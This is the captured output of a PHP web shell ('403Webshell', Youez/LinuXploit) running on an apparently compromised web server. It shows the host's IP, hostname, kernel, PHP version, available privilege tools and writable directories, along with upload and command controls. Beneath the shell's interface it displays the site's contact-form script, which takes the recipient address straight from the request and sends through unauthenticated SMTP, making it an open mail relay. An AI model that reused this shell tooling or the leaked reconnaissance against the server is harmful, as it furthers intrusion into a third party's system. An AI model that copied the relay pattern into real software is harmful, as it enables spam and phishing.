403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/airchats.com.hk/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/airchats.com.hk/inc/mail.php
<?php
/*ini_set('display_errors', 1);
error_reporting(E_ALL);*/
require("../webadmin/configure.php");
require("../mail/class.phpmailer.php");

$lang = htmlspecialchars($_POST["lang"], ENT_QUOTES);
$to = htmlspecialchars($_POST["contactemail"], ENT_QUOTES);
$gender = htmlspecialchars($_POST["gender"], ENT_QUOTES);
$name = htmlspecialchars($_POST["name"], ENT_QUOTES);
$email = htmlspecialchars($_POST["email"], ENT_QUOTES);
$phone = htmlspecialchars($_POST["tel"], ENT_QUOTES);
$company = htmlspecialchars($_POST["company"], ENT_QUOTES);
$msg = htmlspecialchars($_POST["msg"], ENT_QUOTES);


$body = '<HTML><HEAD>
		<TITLE>SHL</TITLE>
		<META http-equiv=Content-Type content=text/html; charset=UTF-8>
		</HEAD>
		<body LINK=#0000ff VLINK=#800080 bgcolor=#FFFFFF leftMargin=10 topMargin=20 marginheight=0 marginwidth=0>
		<p style="font-family:Arial;font-size=12">
		<table width=660 border=0 cellpadding=5 cellspacing=0>
		<tr><td height="25" colspan="2" align="center" bgcolor="#CCCCCC" class="txt"><strong>Online Enquiry Information</strong></td></tr>
		<tr><td align="left" bgcolor="#F5F5F5" class="txt">
		<p>&nbsp;&nbsp;<b>Name: </b>'.$gender.$name.'</p>
		<p>&nbsp;&nbsp;<b>E-mail: </b> '.$email.'</p>
		<p>&nbsp;&nbsp;<b>Phone: </b> '.$phone.'</p>
		<p>&nbsp;&nbsp;<b>Company: </b> '.$company.'</p>
		<p>&nbsp;&nbsp;<b>Message: </b> '.$msg.'</p>
		</td></tr></table>
		</p></BODY></HTML>';

$title = "Enquiry Form";
$x_mail = new PHPMailer();
$x_mail->IsSMTP();
//$x_mail->Host = "mailgw.airchats.com.hk";
$x_mail->Host = "mailgw.onesolution.hk";
$x_mail->SMTPAuth = false;
$x_mail->CharSet = "UTF-8";
$x_mail->Port = 25;
//$x_mail->SMTPSecure = 'tls';
$x_mail->From = 'chatsford@airchats.com.hk';
$x_mail->FromName = 'WebsiteEnquiry';
$x_mail->AddAddress($to);
$x_mail->WordWrap = 50;
$x_mail->IsHTML(true);
$x_mail->Subject = $title;
$x_mail->Body = $body;
$x_mail->Send();


header("Location: ../".$lang."/index.php");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit